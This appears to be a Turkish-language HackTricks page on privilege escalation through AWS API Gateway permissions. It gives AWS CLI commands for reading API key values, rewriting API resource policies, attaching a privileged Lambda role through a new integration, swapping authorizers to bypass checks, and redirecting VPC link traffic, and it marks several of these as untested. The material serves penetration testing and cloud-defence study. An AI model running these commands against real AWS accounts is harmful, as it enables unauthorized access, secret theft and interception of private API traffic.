AWS - Apigateway Privesc

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu

  • 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Apigateway

Daha fazla bilgi için kontrol edin:

AWS - API Gateway Enum

apigateway:POST

Bu izinle yapılandırılmış API'ların (bölgeye göre) API anahtarlarını oluşturabilirsiniz.

aws --region <region> apigateway create-api-key

Potansiyel Etki: Bu teknikle ayrıcalık yükseltemezsiniz ancak hassas bilgilere erişebilirsiniz.

apigateway:GET

Bu izinle yapılandırılmış API'ların (bölgeye göre) oluşturulmuş API anahtarlarını alabilirsiniz.

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potansiyel Etki: Bu teknikle ayrıcalık yükseltemezsiniz ancak hassas bilgilere erişebilirsiniz.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize çağrı yapma erişimi verip API ağ geçidinin sahip olabileceği erişimleri kötüye kullanabilirsiniz (örneğin, zafiyetli bir lambda'yı çağırmak).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potansiyel Etki: Genellikle, bu teknikle doğrudan ayrıcalık yükseltemezsiniz, ancak hassas bilgilere erişebilirsiniz.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Test Edilmesi Gerekiyor

apigateway:PutIntegration, apigateway:CreateDeployment ve iam:PassRole izinlerine sahip bir saldırgan, bir IAM rolüne sahip bir Lambda işlevi ile var olan bir API Gateway REST API'sine yeni bir entegrasyon ekleyebilir. Saldırgan daha sonra Lambda işlevini tetikleyerek keyfi kodları yürütebilir ve IAM rolü ile ilişkilendirilen kaynaklara erişim elde edebilir.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Lambda işlevinin IAM rolü ile ilişkili kaynaklara erişim.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Test edilmesi gerekmektedir

apigateway:UpdateAuthorizer ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir API Gateway yetkilendiricisini değiştirerek güvenlik kontrollerini atlayabilir veya API istekleri yapıldığında keyfi kodları yürütebilir.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Güvenlik kontrollerini atlatma, API kaynaklarına izinsiz erişim.

Test Edilmesi Gerekiyor

apigateway:UpdateVpcLink iznine sahip bir saldırgan, mevcut bir VPC Bağlantısını değiştirerek farklı bir Ağ Yük Dengeleyiciye yönlendirebilir ve böylece özel API trafiğini izinsiz veya kötü niyetli kaynaklara yönlendirebilir.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potansiyel Etki: Özel API kaynaklarına izinsiz erişim, API trafiğinin dinlenmesi veya kesilmesi.

A'dan Z'ye AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated